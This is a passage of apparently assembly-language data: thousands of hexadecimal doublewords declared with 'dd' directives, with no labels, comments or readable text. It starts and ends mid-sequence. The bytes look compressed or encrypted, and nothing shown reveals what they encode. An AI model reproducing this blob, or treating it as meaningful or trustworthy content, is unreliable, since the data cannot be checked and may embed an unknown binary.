9DBFFB83h, 948F00ACh, 0FA71EA55h dd 0F0F27A00h, 7B9B1028h, 14030F3Bh, 0AE611872h, 0CC51B375h dd 1002372Ch, 0F3F0344Fh, 0FEE340A6h, 89F400E3h, 2EBF804h dd 0C800C031h, 0BF841090h, 0C970F1h, 3C7FB12Bh, 1A961130h dd 41D24124h, 3DA5C100h, 7F349455h, 36640043h, 0F7C90F4h dd 1AFC54B6h, 4B0E9490h, 0C0F9D101h, 7C5D81C7h, 4CD701E2h dd 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h dd 80C69D6Bh, 0F4A74D1Dh, 91005ADCh, 580BC98Ah, 7402320h dd 151AD042h, 3DEB6013h, 1B04E57Ch, 8D78384Ah, 54704D87h dd 70486443h, 0EAD13F07h, 7CD28580h, 0B58AFA12h, 750B7800h dd 881E1C01h, 0E800318h, 4A02C083h, 91EF51E0h, 60BD3A03h dd 0D04BFCC8h, 3D49B13h, 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h dd 0F41246EEh, 0DF013926h, 30A58559h, 0C428C1EFh, 98C017D8h dd 8E02007Ch, 6854A118h, 0AC9083F6h, 85000F79h, 9541015Fh dd 39FD3B0h, 1913CC45h, 0A2900D66h, 4207D55Ch, 1A6CFD9Dh dd 68D103F0h, 0C0322E24h, 0C7C500EFh, 1F1EB5FFh, 1764DB00h dd 5A8C5452h, 0E5A400A8h, 34FB1056h, 0D7008209h, 85890147h dd 7598ABCh, 2F06BD83h, 91590FEh, 8B005184h, 1CEEAA41h dd 803108h, 9FA6C721h, 7C86C2FFh, 9715C800h, 0B80D55F9h dd 2FB90070h, 3E64B5E2h, 20048D0h, 27DC14B2h, 44B820h dd 50143D4h, 0B566281Bh, 830F3D05h, 0C1BE1CC6h, 8E431330h dd 0A03C6BC4h, 50887281h, 1F2F010Ch, 3916F76Ah, 8C8F878h dd 39A0200h, 80B96019h, 0C1FE00E2h, 0CAB1DFE7h, 440099A0h dd 35062005h, 3C3438Dh, 48777EB8h, 2C991F68h, 80CD4A5h dd 40D05900h, 0D250C653h, 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h dd 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h, 810FF9EEh dd 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh, 463576DAh dd 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah, 3AC07788h dd 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h, 14D010F0h dd 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h, 0B78E13B9h dd 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h, 89D1673Dh dd 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh, 0EC5EDD2Fh dd 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h, 28853AF3h dd 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch, 56004441h dd 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh, 1E15587Dh dd 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h, 805973BFh dd 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh, 23725C21h dd 9A0AFF0Eh, 0EB50DA40h dd 591FB525h, 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h dd 7CA85DF0h, 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h dd 5DEEE456h, 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h dd 40E06BBAh, 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h dd 0A2EEF47Bh, 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh dd 8D6DD0AAh, 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h dd 2C03C766h, 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h dd 0E2EACBFh, 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h dd 121CF018h, 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h dd 522228DCh, 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h dd 0D740A00h, 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h dd 0DE1D5960h, 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh dd 352DA0FCh dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h dd 164E912Dh, 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h dd 2E1F29C4h, 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h dd 7367650Eh, 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h dd 59AD14B9h, 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah dd 6741526h, 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h dd 704CA3Eh, 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah dd 62FB53BDh, 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h dd 10F28019h, 13001109h, 87D18512h, 0EE881848h, 44012C1Ch dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h dd 2F6FFABh, 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h, 0DAC144AAh dd 16EC89h, 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h dd 708498A4h, 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h dd 136FCA5h, 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h dd 88FC3Fh, 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h dd 8339B045h, 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh dd 455ACD00h, 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah dd 0C73D9C15h, 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh dd 0E106F0h, 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh dd 70AC4EA8h, 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h, 53B858h dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh dd 